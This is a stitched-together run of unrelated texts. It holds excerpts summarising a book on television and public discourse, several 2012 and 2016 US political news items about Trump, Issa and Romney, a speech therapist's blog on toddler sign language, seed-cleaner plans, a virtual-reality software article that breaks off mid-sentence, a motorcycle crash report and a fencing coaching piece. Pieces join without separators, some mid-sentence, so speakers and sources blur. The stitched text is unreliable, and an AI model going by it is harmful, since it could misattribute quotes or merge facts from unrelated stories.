What Orwell feared were those who would ban books. What Huxley feared was that there would be no reason to ban a book, for there would be no one who wanted to read one. Orwell feared those who would deprive us of information. Huxley feared those who would give us so much that we would be reduced to passivity and egoism. Orwell feared that the truth would be concealed from us. Huxley feared the truth would be drowned in a sea of irrelevance. Orwell feared we would become a captive culture. Huxley feared we would become a trivial culture, preoccupied with some equivalent of the feelies, the orgy porgy, and the centrifugal bumblepuppy. As Huxley marked in Brave New World Revisited, the civil libertarians and rationalists who are ever on the alert to oppose tyranny "failed to take into account man's almost infinite appetite for distractions." In 1984, Huxley added, people are controlled by inflicting pain. In Brave New World, they are controlled by inflicting pleasure. In short, Orwell feared that what we hate will ruin us. Huxley feared that what we love will ruin us. This book is about the possibility that Huxley, not Orwell, was right.
"Is the Iliad possible, when the printing press and even printing machines exist? Is it not inevitable that with the emergence of the press, the singing and the telling and the muse cease; that is, the conditions necessary for epic poetry disappear?" ~ Karl Marx
Walter Lippmann, wrote in 1920: "There can be no liberty for a community which lacks the means by which to detect lies."
"More than any other device, the printed book released people from the domination of the immediate and the local;... print made a greater impression than actual events.... To exist was to exist in print: the rest of the world tended gradually to become more shadowy. Learning became book-learning." ~ Lewis Mumford
I refer specifically to the Decalogue, the Second Commandment of which prohibits the Israelites from making concrete images of anything. "Thou shalt not make unto thee any graven image, any likeness of any thing that is in heaven above, or that is in the earth beneath, or that is in the water beneath the earth." The God of the Jews was to exist in the Word and through the Word, an unprecedented conception requiring the highest order of abstract thinking. Iconography thus became blasphemy so that a new kind of God could enter a culture.
Television does not ban books, it simply displaces them.
At the first debate between Douglas and Lincoln in Ottowa, Douglas responded to lengthy applause with a remarkable and revealing statement. "My friends," he said, "silence will be more acceptable to me in the discussion of these questions than applause. I desire to address myself to your judgment, your understanding, and your consciences, and not to your passions or your enthusiasms."
The idea, "is to keep everything brief, not to strain the attention of anyone but instead to provide constant stimulation through variety, novelty, action, and movement. You are required... to pay attention to no concept, no character, and no problem for more than a few seconds at a time." He goes on to say that the assumptions controlling a news show are "that bite-sized is best, that complexity must be avoided, that nuances are dispensable, that qualifications impede the simple message, that visual stimulation is a substitute for thought, and that verbal precision is an anachronism."
Terence Moran, lands on the target in saying that with media whose structure is biased toward furnishing images and fragments, we are deprived of access to an historical perspective.
Ignorance is always correctable. But what shall we do if we take ignorance to be knowledge?
In the Huxleyan prophecy, Big Brother does not watch us, by his choice. We watch him, by ours.
"We are in great haste to construct a magnetic telegraph from Maine to Texas; but Maine and Texas, it may be, have nothing important to communicate.... We are eager to tunnel under the Atlantic and bring the old world some weeks nearer to the new; but perchance the first news that will leak through into the broad flapping American ear will be that Princess Adelaide has the whooping cough." ~ Henry David Thoreau
The television commercial is not at all about the character of products to be consumed. It is about the character of the consumers of products
Bernard Shaw's remark on his first seeing the glittering neon signs of Broadway and 42nd Street at night. "It must be beautiful, if you cannot read".
Robert MacNeil's observes that "Television is the soma of Aldous Huxley's Brave New World."
The media of communication available to a culture are a dominant influence on the formation of the culture's intellectual and social preoccupations. It is recreated by every new medium of communication—from painting to the alphabet to television. Each medium, like language itself, makes possible a unique mode of discourse by providing a new orientation for thought, for expression, for sensibility. Which is what McLuhan meant in saying the medium is the message.What people watch, and like to watch, are millions of moving pictures, of short duration and dynamic variety. It is in the nature of the medium that it must suppress the content of ideas in order to accommodate these requirements of visual interest; that is to say, to accommodate the values of show business. Television has made entertainment itself the natural format for the representation of all experience. This change-over has dramatically and irreversibly shifted the content and meaning of public discourse, since two media so vastly different cannot accommodate the same ideas. As the influence of print wanes, the content of politics, religion, education, and anything else that comprises public business must change and be recast in terms that are most suitable to television, i.e takes the form of entertainment. The result is that we are a people on the verge of amusing ourselves to death.The published word is invested with greater prestige and authenticity than the spoken word. What people say is assumed to be more casually uttered than what they write. The written word is assumed to have been reflected upon and revised by its author, reviewed by editors. It is easier to verify or refute, and it is invested with an impersonal and objective character. The written word endures, the spoken word disappears; and that is why writing is closer to the truth than speaking. To these people, reading was both their connection to and their model of the world. The printed page revealed the world, line by line, page by page, to be a serious, coherent place, capable of management by reason, and of improvement by logical and relevant criticism. Almost all of the characteristics we associate with mature discourse were amplified by typography, which has the strongest possible bias toward exposition: a sophisticated ability to think conceptually, deductively and sequentially; a high valuation of reason and order; an abhorrence of contradiction; a large capacity for detachment and objectivity; and a tolerance for delayed response. This is the difference between thinking in a word-centered culture and thinking in an image-centered culture. It is also the difference between living in a culture that provides little opportunity for leisure, and one that provides much, which can be invested in reading and spending time thinking.As a culture moves from orality to writing to printing to televising, its ideas of truth move with it. Every philosophy is the philosophy of a stage of life, Nietzsche remarked.One sometimes hears it said, for example, that there is more printed matter available today than ever before, which is undoubtedly true. But from the seventeenth century to the late nineteenth century, printed matter was virtually all that was available. There were no movies to see, radio to hear, photographic displays to look at, records to play. There was no television. Public business was channeled into and expressed through print, which became the model, the metaphor and the measure of all discourse.The printed word had a monopoly on both attention and intellect, there being no other means, besides the oral tradition, to have access to public knowledge. Public figures were known largely by their written words, for example, not by their looks or even their oratory. It is quite likely that most of the first fifteen presidents of the United States would not have been recognized had they passed the average citizen in the street. To think about those men was to think about what they had written, to judge them by their public positions, their arguments, their knowledge as codified in the printed word. But now, you cannot do political philosophy on television. Its form works against the content. In a world of television and other visual media, "political knowledge" means having pictures in your head more than having words. Almost certainly those whose looks are not significantly enhanced by the cosmetician's art have no future in politics. Indeed, we may have reached the point where cosmetics has replaced ideology as the field of expertise over which a politician must have competent control.How television stages the world becomes the model for how the people stage it. For on television, discourse is conducted largely through visual imagery, which is to say that television gives us a conversation in images, not words. The way in which the photograph records experience is also different from the way of language. Language makes sense only when it is presented as a sequence of propositions. Meaning is distorted when a word or sentence is, as we say, taken out of context; when a reader or listener is deprived of what was said before, and after. But there is no such thing as a photograph taken out of context, for a photograph does not require one. Television is suited only to the flashing of messages, each to be quickly replaced by a more up-to-date message. Facts push other facts into and then out of consciousness at speeds that neither permit nor require evaluation. Each "headline" stood alone as its own context. The average length of a shot on network television is only 3.5 seconds, so that the eye never rests, always has something new to see.When a television show is in process, it is very nearly impermissible to say, "Let me think about that" or "I don't know" or "What do you mean when you say...?" or "From what sources does your information come?" This type of discourse not only slows down the tempo of the show but creates the impression of uncertainty or lack of finish. It tends to reveal people in the act of thinking, which is as disconcerting and boring on television. In other words, in doing away with the idea of sequence and continuity in education, television undermines the idea that sequence and continuity have anything to do with thought itself."Knowing" the facts took on a new meaning, for it did not imply that one understood implications, background, or connections. In fact, it is quite obvious that TV news has no intention of suggesting that any story has any implications, for that would require viewers to continue to think about it when it is done and therefore obstruct their attending to the next story that waits panting in the wings. Theirs was a "language" that denied interconnectedness, proceeded without context, argued the irrelevance of history, explained nothing, and offered fascination in place of complexity and coherence. Television offers viewers a variety of subject matter, requires minimal skills to comprehend it, and is largely aimed at emotional gratification. Short and simple messages are preferable to long and complex ones; drama is to be preferred over exposition; being sold solutions is better than being confronted with questions about problems. Whereas in a classroom, one may ask a teacher questions, one can ask nothing of a television screen. The men were less concerned with giving arguments than with "giving off" impressions, which is what television does best. Television's strongest point is that it brings personalities into our hearts, not abstractions into our heads. We do well to remember that President Nixon did not begin to come undone until his lies were given a theatrical setting at the Watergate hearings.It comes as the unintended consequence of a dramatic change in our modes of public conversation. But it is an ideology nonetheless, for it imposes a way of life, a set of relations among people and ideas, about which there has been no consensus, no discussion and no opposition. Only compliance. Public consciousness has not yet assimilated the point that technology is ideology.Television made information into a commodity, a "thing" that could be bought and sold irrespective of its uses or meaning, it made relevance irrelevant. Most of our daily news is inert, consisting of information that gives us something to talk about but cannot lead to any meaningful action. This suggests that the new technologies had turned the age-old problem of information on its head: Where people once sought information to manage the real contexts of their lives, now they had to invent contexts in which otherwise useless information might be put to some apparent use. This is called disinformation, which means misleading information—misplaced, irrelevant, fragmented or superficial information—information that creates the illusion of knowing something but which in fact leads one away from knowing.For example, in the 1890's advertisers adopted the technique of using slogans. At about the same time, jingles started to be used. Now almost all television programs are embedded in music. But what has music to do with the news? It is there for the same reason music is used in the theater and films to tell the audience what emotions are to be called forth and to create a mood for entertainment. Many newscasters do not appear to grasp the meaning of what they are saying, and some hold to a fixed and ingratiating enthusiasm as they report on earthquakes, mass killings and other disasters. Viewers would be quite disconcerted by any show of concern or terror on the part of newscasters. The viewers also know that no matter how grave any fragment of news may appear (for example, on the day I write a Marine Corps general has declared that nuclear war between the United States and Russia is inevitable), it will shortly be followed by a series of commercials that will, in an instant, defuse the import of the news, in fact render it largely banal.. Images of movie stars and famous athletes, of serene lakes and macho fishing trips, of elegant dinners and romantic interludes, of happy families packing their station wagons for a picnic in the country— these tell nothing about the products being sold. But they tell everything about the fears, fancies and dreams of those who might buy them. What the advertiser needs to know is not what is right about the product but what is wrong about the buyer. And so, the balance of business expenditures shifts from product research to market research. This is the lesson of all great television commercials: They provide a slogan, a symbol or a focus that creates for viewers a comprehensive and compelling image of themselves.Moreover, changes in media bring about changes in the structure of people's minds or changes in their cognitive capacities. Stauffer et al. found in studying students' responses to a news program transmitted via television, radio and print, that print significantly increased correct responses to questions regarding the names of people and numbers contained in the material. Stern reported that 51 percent of viewers could not recall a single item of news a few minutes after viewing a news program on television.“I’ve never spoken to Putin,” US presidential hopeful Donald Trump said this week as he was commenting on an alleged Russian hack of the DNC. But that’s not what he publicly stated just two years ago.
Trump, whom critics accuse among other things of being fascinated with Russian President Vladimir Putin, on Wednesday denied having any links to the Kremlin.
“I have nothing to do with Putin. I have never spoken to him. I don’t know anything about him other than he will respect me,” Trump told a conference before attacking his Democrat rival Hillary Clinton, suggesting that Russia should look for her 30,000 missing emails.
READ MORE: ‘Of course I’m being sarcastic’: MSM misses Trump’s joke on Russia & Hillary emails
Trump’s denial of knowing Putin personally contradicts his own words, which he uttered in May 2014 at a National Press Club luncheon. He was asked about how he would negotiate with Putin and said he had done so during preparations for the Miss Universe 2013 pageant in Moscow.
“I own the Miss Universe. I was in Russia, I was in Moscow recently. I spoke indirectly and directly with President Putin, who could not have been nicer. And we had a tremendous success. The show was live from Moscow,” he told the audience.
One of the statements is obviously wrong. According to the Washington Post, Trump did schedule a face-to-face with Putin, but the meeting was canceled by the Russian president at the last minute. Putin reportedly sent a decorative lacquered box and a warm note to the US businessman.
During the US presidential campaign, Trump and Putin have voiced approval towards each other on several occasions. Critics of the Republican nominee accuse him of dictatorial aspirations, which they claim he shares with the Russian leader.
On the social media many people branded him a “Siberian Candidate” – a reference to the Richard Condon 1959 thriller novel ‘The Manchurian Candidate’, which features a Chinese-Soviet plot to use a brainwashed Korean War veteran from a prominent political family to stage a coup in America.To Use Sign Language or Not To Use Sign Language
Therapy Thursday is for educational purposes only and not intended as therapeutic advice.
Welcome to Therapy Thursday! This is the day I share a tip based upon my experience as a pediatric speech-language pathologist and a mother of a child with special needs.Today's tip is:Sign language is sometimes brought up in my work with toddlers with language delays. Parents seem to have different points of view on the subject.Some parents are interested in learning sign language to help their toddler who is not yet speaking. They see sign language as a temporary tool that can help their child communicate. These parents seem to understand that sign language allows a child to learn to express a word in sign and use it meaningfully. This is opposed to a child who merely grunts and points at random to mean a variety of things. The message becomes clearer when the child can sign "eat" or "drink" or "cookie" or "milk." They can start to build an expressive vocabulary that is taking a sign form rather than a spoken form.Then I have other parents who have serious reservations. Some believe that signing may prevent the child from wanting to use words. They worry that successful signing may lead to the child not wanting to speak instead. Other parents see signing as an inefficient use of therapy time. They don't want me "wasting" time in sessions teaching the child signs when I should be teaching spoken language instead. Some families find learning signs overwhelming and confusing. The family may have a very busy life, and learning sign language may be too much for them.As a speech-language pathologist, I do consider the parent's preference on signing. However, I do share the positives about signing. Plus, there is plenty of research on this subject. There is no need to fear if signing is appropriate. The research is clear. (Signing Time has a list of many research links.) Sign language does NOT hinder the acquisition or use of spoken language. In fact, it sometimes helps a child understand words or concepts. Here's another great article on this subject As a speech-language pathologist, I'm pro-signing. However, I don't necessarily teach sign language to EVERY child I see in speech therapy. A child with a language delay doesn'tneed to learn sign language. Sometimes, picture communication is another alternative form that is more appropriate. Other times, the toddler has a good spoken base vocabulary of 20-30 words and doesn't necessarily need to learn sign since they have a good foundational vocabulary.There is one particular type of child in therapy that I am reluctant to teach signing to in sessions. This child is very quiet but uses many gestures and pointing to get their message to others. In this case, I am reluctant to start signing right away because this child likes to gesture and NOT try to speak. I, personally, have seen these children flourish with sign language but make no effort to use their voice in any way. Therefore, I choose not to do sign language with these children or at least in the beginning. My first objective in therapy would be to get the child to start vocalizing in any way in an effort to teach him to use his mouth first.Still, there are many children with delays that benefit from using sign language. Adding sign language to speech therapy routines requires minimal changes to the session and takes relatively no time if incorporated naturally.This should be obvious, but maybe it isn't. Whenever you are signing with your child, you will say the word you are signing. Doing both ensures the child will see the sign and hear the actual word. We always want to sign a word andit as they are learning signs.-If a child begins saying a word, then I don't care if the sign is used. Spoken words are the goal, so that is the driving force. Once in a while a parent will insist that the child do the sign for the word they are saying. Nope, nope, nope! If they drop the sign once they say a word, that's what we are hoping for.-If you have a child with a diagnosis known to have language delays, sign language is a good communication to use in additional to verbal speech. Sometimes, pairing a word with a sign helps a child "see" the word and thus have a new way to comprehend it. Children with Down syndrome, for example, have been known to do well with sign language acquisition before they are able to verbally communicate. This was the case for my daughter.-I don't care if a child imitates the sign perfectly. Some signs are challenging because they require finger dexterity that a toddler does not yet have. My daughter could not replicate signs exactly because of her Down syndrome as a toddler, but I recognized her sign approximations and didn't correct her attempts. As her fine motor skills improved, her signs naturally got more accurate.Sign language is one tool that is used in speech therapy as a temporary method of communication for children with language delays. Like any therapeutic method, sign language has its pros and cons, but it may prove to be a positive way for children to begin communicating with their families. If you feel like sign language could help your child, talk to your child's speech-language pathologist.ADVERTISEMENT
Limbaugh’s comments this week were directed at Sandra Fluke, who was thrust into the spotlight after Issa would not let her testify at an Oversight hearing about the Obama administration’s new birth-control mandate. Because she wasn’t allowed to testify, no one spoke in support of the policy and the first panel of witnesses was made up entirely of men.
Images of the all-male hearing spread quickly online, launching Democrats’ “Where are the women” mantra. Issa notes in his letter to Cummings that two female witnesses testified on the second panel at the hearing. Both oppose the birth-control mandate.
Issa accused Democrats of spreading “false and incendiary claims” about the hearing, which was centered on the question of whether the contraception policy is an infringement on religious employers’ ability to freely practice their faith.
“Given the demeaning and inflammatory rhetoric of the minority on the subject of religious freedom, I find it incredibly disappointing that you would seek only a narrow denunciation of one set of money that your party is simultaneously trumpeting in an effort to raise campaign funds,” Issa said.
Both parties have used the debate in their fundraising efforts. Democrats have raised more than $1 million off of the issue since Issa’s hearing.
The White House’s contraception policy does not require religious-affiliated employers like Catholic schools to directly cover birth control for their employees. But workers will be able to get birth control from their insurers. Religious groups and many Republicans say the employers will still end up paying for a service they find immoral, because the cost of contraception will be built into insurers’ premiums.
The administration has not figured out how the policy will apply to religious employers that self-insure.Donald Trump on Wednesday refused again to publish his tax returns after a conservative pundit suggested they might link him to Russia.
The Republican candidate has refused for months to publish the returns while an IRS audit is ongoing.
He was questioned about the refusal at a press conference in Miami, and doubled down, saying that his position was unchanged.
Scroll down for video
Why won't he release them? Trump was asked again about his tax returns on Wednesday and continues to insist he will release them once an audit is completed
Link? George Will (left), the conservative pundit who is leaving the Republican party over Trump's candidacy, suggested the Russian involvement, while Supreme Court Justice Ruth Bader Ginsburg (right) has questioned why he hasn't published them
But he is now facing claims that the returns are being withheld because they will show he has links to Russia - which he fiercely denies.
The link was posted by conservative pundit George Will, who The Hill reported had told Fox News' Bret Baier of his suspicion on Tuesday.
Will, who is leaving the Republican party over Trump's candidacy, said: 'Perhaps one more reason why we're not seeing his tax returns - because he is deeply involved in dealing with Russian oligarchs and others.
'Whether that's good, bad or indifferent, it's probably the reasonable surmise.'
Trump on Wednesday came under pressure from a reporter at the press conference on the returns.
'I'll release when the audit's completed,' he said.
'Nobody would release when it's under - I've had audits for 15 or 16 years.
'Every year I have a routine audit. I'm under audit, when the audits complete I'll release them.
'And as far as the tax returns, as soon as the audits complete, like any lawyer would tell you, Greta Van Susteren she was going over it a while ago, she's a lawyer.
'She said well no lawyer would let somebody release a tax return when they're under audit.'
Trump also repeatedly denied having any link to Russia, a claim which has been raised in the wake of the hacking of the Democratic National Committee emails.
President Obama has been the most prominent voice to claim that Russia was likely to be behind the attacks - which led to the resignation in disgrace of DNC chair Debbie Wasserman Schultz - and link them to Trump.
'What the motives were in terms of the leaks, all that – I can't say directly,' Obama told NBC News.
'What I do know is that Donald Trump has repeatedly expressed admiration for Vladimir Putin.'
Claims of a link to Russia in a tax return were questioned by one expert.Jeremy Scott, a federal tax expert, told CNN Money that it was extremely unlikely that business links would be revealed in the IRS documentation.
'You'll learn a little bit more, but you won't see any direct dealings with Russian oligarchs,' he said.
The calls for the returns to be published were renewed earlier this month from the unlikely quarter of the Supreme Court.
Ruth Bader Ginsburg, who said she was speaking in a personal capacity, she told CNN's legal analyst Joan Biskupic: 'How has he gotten away with not turning over his tax returns? The press seems to be very gentle with him on that.'"You have the freedom to use OSSI-Pledged seeds in any way you choose. In return, you pledge not to restrict others' use of these seeds or their derivatives by patents or other means, and to include this pledge with any transfer of these seeds or their derivatives."
To see what we're up to on the farm and in the office as we grow and try new varieties, follow our Facebook or Instagram pages
Open-Source, DIY Seed Cleaner Plans
Released for the benefit of small independent seed producers.
This design combines traditional zig-zag aspirator design with a'swirl chamber' just below take-off
to allow repeated sorting of each seed as it is poured though.
Suitable for small seed (poppy, amaranth) to medium seed (squash, sunflower)
Construction cost was less than 5 GBP using scrap materials.
Using purchased materials cost would be under 50 GBP.
Remember though that this is only designed for small-scale batches: lots of a few grams to 10kg or so.
Bigger than that you'll need a different solution because the square-rule law applies - if you double the size you'd need 4 x the suction!
If you make one, please email us a picture of yours! We'll put them up here.
Seed Cleaning Machine Design by The Real Seed Collection Ltd
is licensed for public use under a
Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. Important - read the link above before you make one.
Basically you can make one for your own use,
but you have to tell people where you got the plans (including a link to us),
and can't sell copies of the machine for a profit.
You are free to adapt the plans and improve it - but the same rules then apply to the new design. Thanks! Ben.
If you would prefer dimensions in inches, George Adams of Wisconsin USA has kindly sent in a relabelled diagram.
NOTE 1: The bottom right chaff emptying flap needs to be airtight or the cleaner will not work.
But it also needs to be easily removeable so you can dump out the chaff quickly - you will need to do this quite often often,
for example when you suck good seed out by mistake and want to put it through again.
Ours is held on by 4 small supermagnets glued in holes in the wood.
Matching magnets set in the body of the cleaner attract it on firmly ; if the bottom of the cleaner is smooth it is airtight.
We have a tray / tub under it this flap, so we can just pull it open and all the seed falls into the tray for recycling if needed.
NOTE2: Don't be tempted to 'improve' the plans! If you build it exactly as the plans say it will work really well.
If you change anything, it might work better, but it will probably not work at all. Once you've built one and got a feel for how it works,
then of course you can play around with the design and maybe improve it some more.
AND HERE ARE SOME THAT PEOPLE HAVE MADE FROM OUR PLANS, ALL OVER THE WORLD:121 SHARES Facebook Twitter Linkedin Reddit
OSVR (Open Source Virtual Reality) aims to create an open and universal standard for the discovery, configuration, and operation of VR/AR devices. Created by Sensics and Razer, OSVR includes two independent components: 1) the OSVR software platform and 2) the open-source Hacker Development Kit VR headset.
Guest Author
Yuval Boger joined Sensics in 2006 to help take VR from the lab to the market. Nearly a decade later, he brings his unique technical and market expertise to work with consumer electronics, industrial, and academic leaders to help them shape the art of the possible in VR. He is a key architect of OSVR, the open-source virtual reality initiative, and a frequent presenter at conferences. Yuval shares his thoughts about VR technology and the VR market at VRguy.net.
Since the OSVR launch in January this year, nearly 250 organizations including Intel, NVIDIA, Xilinx, Ubisoft, Leap Motion, and many others have joined the OSVR ecosystem. Concurrent with the expansion of the OSVR community, the capabilities of the software platform have grown by leaps and bounds.
See Also: OSVR Gets NVIDIA ‘Gameworks VR’ Support, Adds 65 New Industry Collaborators
The Sensics team architected the OSVR software platform and is its official maintainer. Below, I describe my personal perspective on the road ahead for the OSVR software along several paths: interfaces and devices, game engines, low-latency rendering, operating systems, utilities, and high-level processing.
The Big Picture
The goal of the OSVR software framework is to make it easy to create compelling, high-performance VR/AR applications that:
Work on as many VR/AR displays and peripherals as possible.
Support even those devices that were not available at the time the application was created. Just like you don’t need to upgrade your word processor when you buy a new printer, you should not have to upgrade your game when a new HMD becomes available.
If desired, can run on a wide range of operating systems and computing platforms.
Take advantage of the unique features of individual devices, as opposed to reaching for the ‘lowest common denominator’.
Are not locked into a particular device, peripheral, development environment, programming language or app store.
The OSVR framework aims to achieve these goals while open-sourcing the vast majority of the software in order to:
Encourage participation from the broader VR/AR community.
Provide adopters the security and peace of mind that they desire.
Accelerate the pace of development by including a wide community of contributors.
Allow adopters to customize the platform to their specific needs.
Last, OSVR leverages existing open-source projects (OpenCV, CMake, VRPN) and is designed with a modular, plugin-based architecture so that:
Participants can opt to keep modules closed-sourced so as to protect IP.
Adopters can choose a small footprint deployment by choosing only the modules they need.
Functionality such as support for new devices can be added after the fact.
Interfaces and Devices
Overview
In “OSVR speak”, an interface is a pipe for data of a certain type (“interface class”). Devices are said to expose interfaces to the OSVR core, and in turn, to an application. Such interfaces include tracker (provides position, orientation, or full pose), button, analog (axis of a joystick, analog trigger value), eye tracker (gaze direction), gesture, imager (single image or image stream), locomotion (for omnidirectional treadmills), skeleton (bone structure) and display (output device).
A single physical device may provide data in more than one interface class, just like a multi-function printer might look to an operating system as a printer, a scanner, and a fax. For instance, here are some interfaces exposed by popular devices:
Imagine that you are developing |
is just common sense,” Edelman said in an email. “It’s about allowing states to do work-related initiatives that are more effective than the constraints of the current law. What we want is for people to get off welfare by getting a job. It is NOT, repeat, NOT undermining the work requirements of the TANF law [Temporary Assistance for Needy Families], which are requirements for work activities while the person is receiving TANF.”
The Romney campaign has spent millions of dollars airing multiple ads in swing states accusing Obama of “gutting” the law, and isn’t backing away even as a growing roster of fact-checkers and traditional journalists debunk its premise.
Romney has so far released five ads attacking Obama on the welfare waivers — three of which his campaign and the RNC are spending millions of dollars airing in swing states. GOP operatives are bullish on the ability of the attack to change white working-class voters’ core perceptions of Obama.
In addition to calling out its false premise, traditional journalists are joining liberal commentators in needling the Romney campaign about the racial undertones of the insinuation that Obama wants to hand out more welfare checks.
National Journal editor Ron Fournier, former Washington Bureau Chief of the Associated Press, accused a Romney adviser of “playing the race card.” At a Republican convention forum he said the ads are “pushing that button … playing to that racial prejudice. And I’m wondering: are you guys doing that on purpose?”
Earlier this week, liberal MSNBC host Chris Matthews aggressively directed the same accusation at RNC Chairman Reince Priebus. “It is an embarrassment to your party to play that card,” he said. “You are playing that ethnic card there.”
Conservative MSNBC host Joe Scarborough said he was “stunned” to find, after researching the issue, that Romney’s claim is “completely false.”
For Edelman, the attacks are painful to watch despite his initial misgivings about the law, one of the goals of which he now defends even as he maintains that it’s “deeply flawed.”
“This is totally noncontroversial. No one should disagree with it,” Edelson said of the waivers. “This is pure politics coming from the Romney side.”Charges may be laid against four time Olympic medalist Denny Morrison following a serious motorcycle crash in Calgary Thursday night.
Sources have confirmed to 660News the speedskater was the driver of a bike that collided with a Toyota Corolla at Crowchild Trail and 32nd Avenue in the Northwest.
Morrison, 29, was initially rushed to hospital with serious injuries, suffering a fracture to his femur. He will have to undergo surgery to have a metal rod inserted into his leg.
Calgary Police said the motorcycle was travelling fast as it approached the intersection and a car was making a turn onto the highway through a yellow light.
Calling the crash “unbelievable’, Paul Stacey, with the Calgary Police Service Traffic Division, said the impact was so violent that it flipped the car.
“I don’t know how at that kind of a speed and that kind of a severe impact that he survived it, but he is one lucky man,” Stacey said.
Stacey said the driver of the bike did everything he could – so much that he left 30 feet of skid marks on the road.
The two women in the flipped car escaped without serious injury.
Traffic investigators are looking into the case.Do Not Read This Article on Strip Coaching Fencing, Team Relay Edition!
codymattern on 26th April 2017 5292
Byon 26th April 2017
Do Not Read This Article on Strip Coaching Fencing
Team Relay Edition
Pardon the interruption for a verbose warning that you, most likely, will ignore.
Today’s warning will focus on why Not Reading about coaching concepts for the Team Relay Fencing Bout. If you are a fan of fencing, and watch team bouts you have probably seen a team bout and scratched your head when you looked at the scoreboard and the team with the lead was not the team you predicted based on the individual player talent level or initial seeding.
If you are like many Americans or you follow politics you love a good drama and watching this talented team lose to an upstart group can be entertaining. Watching them melt down and implode turning on each other, yelling back and forth from the bench might even cause your facial muscles to curl to a sly grin as you enjoy the guilty pleasure of watching them squirm.
You might even then forget about the coffee run you were on and stay to watch on as the rushed attempts of each fencer to personally Superman the score back in the talented team's direction fail, followed by the “I am too sexy to fence these noobs” body language emerges. Meanwhile the benched teammates have their heads in their hands or are looking around the room as if they just saw a bird flying around, desperately avoiding making eye contact with their teammate out of embarrassment and disbelief. At this point you giggle out loud like a poor college student at last call carefully stacking a food pyramid on his undersized plate on five dollar all you can each sushi night!
“Cody” you ask, “why again should i stop reading this article?” Right! Assuming you are friends, teammate, family members or a coach of this talented team the tips i am about to gift wrap for you with overly descriptive analogies to force your brain into visualizing the situations and examples from my personal career as an athlete and coach, will likely deprive you, and others of the entertainment of a good old-fashion, dramatic flop. The excitement of an amazing upset would be lost to those cheering on the underdog team as the talented team boldly pushes forward with their simplistic strategy that fencing team relay bouts is exactly the same as individual matches. The world would not see collective, thought out effort, planning, and communication defeat gifted, successful, unfocused talent.
Than again I suppose that if you are coming from the other side of this story and you revel at the idea of said drama and shocking and awe amazing upset wins than you might want to read on. Since that is not the name of this article and would defeat the purpose of this warning, I will refuse to think that is your motivation and consider my warning complete. At this point we can agree that i, at most, wasted about five minutes of your time and you can stop reading now and count yourself lucky that i did not waste any more of your day! Agreed! Good!
If you’re still reading this article you probably also would have touched the edges of this sign too! You probably also did not read the final line of the sign stating that the bridge was out and after applying a bandage to your finger from touching the sign drove off the end of the bridge. Seriously some people just do not follow instructions. At this point I can presume that since I am shifting gears and telling you what you SHOULD do that you will do the opposite or your so darn stubborn you will read on just to spite me. So be it!
Remember now we are discussing what you SHOULD do!
One Voice
The three sub topics below were covered in my previous article on strip coaching individuals during the one minute break. These principles apply exactly the same and so i will spare you if you have already read that article. If you have not follow this link to get the full details as I will only summarize those three rules below.
https://www.leonpaul.com/blog/do-not-read-this-article-on-coaching
Now that you are up to speed ONE VOICE is very important in team. To some extent the ONE VOICE rule will also apply to individual bouts as well but always applies in team due to the nature of always having teammates, coaches and hopefully supportive friend and family present. The key to the ONE VOICE rule is that only one person at any given match in the team is allowed to speak and provide tactical advice. This is often the team coach and rightfully so but often teams are without a coach and the various team members take on the role of coaching each other or a knowledgeable friend or parent will step in to help in this role. What must be avoided at all cost is having multiple people providing tactical advice as often they will differ or even contradict one another and will than greatly confuse the athlete.
This often happens in team bouts were a motivated parent, a very supportive boyfriend/girlfriend/significant-other, teammate on the bench, and, or the team coach all want the best outcome for the team but all have their own idea of what needs to be done and all yell it out for the fencing athlete to hear at the same time. What do you do now if you are the athlete on the strip. The idea from each individual was to help you make a decision and move you in a positive direction. Instead you have four different concepts and likely some are totally opposite concepts. You can’t follow everyone's advice, you might have several good ideas but not sure which to choose. So what do you do? Follow the advice of the person you are most scared of disobeying? That might not turn out well in your bout if that is your parent and they have never fenced a day in their life but yell with passion a plan for you to follow. I could go on and on but i think you get the idea. Someone is not going to have their advice acted on and that puts the athlete in a tough spot and that is not what anyone of the people providing advice wanted when speaking up.
Before team bouts the ONE VOICE rule needs to be discussed. Only one individual at any given match will provide tactical concepts, changes, advise. At this point you clarify that EVERYONE is encouraged to be loud, positive, and encouraging of the team, but that all such cheerleading must avoid containing tactical advice. Everyone should agree that tactical advice is only for the one designated as “THE VOICE” to shout out. For myself I often have multiple team, and individual events going on during a large event and have to walk in and out of team bouts during very busy or full fencing days. My teams know that when I am present I am “THE VOICE” during bouts and the previous one giving tactical advice will yield to me on this matter. Often if I enter in the middle of a match I will advise the current “VOICE” of what i see and what I would say and have them continue for the sake of not having to change who the athlete is listening for. The fencer has likely calibrated their ears listen only for the sound of “THE VOICE” and is filtering out to a great extent most other voices and noise as well they should. If as the coach I step away I will have designated the next in line as “THE VOICE” or will let them work it out among themselves. Normally my team captain is “THE VOICE” though when they are fencing they cannot provide their own advice so it is advised to have preset or remind your teammates to pick which of their teammates should be “THE VOICE” if there is a preference.
Now that you have established your ONE VOICE rule of coaching your team, that person is advised to follow the three guiding principles of strip coaching we discussed in the previous article I pleaded with you NOT TO READ!
Three Strip Coaching Principles
Actionable
Focus your advice on things that are actionable!
DON’T SAY DON’T! Avoid speaking on the problem action directly during the bout (there will be plenty of time after the bout is over for that.) Focus on what you want to see and make sure it is an ACTIONABLE thing you know the athlete is capable and comfortable doing!
Concise
Keep your instructions concise and simple. Two to three concepts is a good rule to guide you by. In a Team bout if you are giving live feedback during the action or between individual touches keep the concise advice to a single thought, sentence or word that describes what ACTIONABLE change you want from your fencer.
Positive
Be positive, provide the emotional state your athlete nee
ds, and encourage them, building their confidence up, avoiding taking it down any further. Your job is to motivate and provide solutions for your athlete. Be sure they can do what you ask of them and express your confidence in their ability to do it and succeed.
Swing Bouts
Swing Bouts are team bouts that favor one team/fencer over the other. Often a team either has one very strong fencer or one very new, perhaps weaker fencer. Some teams have both! You need to look for bouts of advantage and disadvantage as these are the critical Swing Bouts. I know what you're thinking “Cody this is hardly rocket science we know some people are better than others and we should have our best fencer really hunt down their weak fencers.” What you probably don’t regularly do is set your advantage fencer up to do the maximum scoring impact by keeping the score lower in the previous bout in preparation for this miss match. This is where teams that look ahead and plan can maximize their advantage bouts and minimize opponent's advantage bouts.
Advantage Swing Bouts
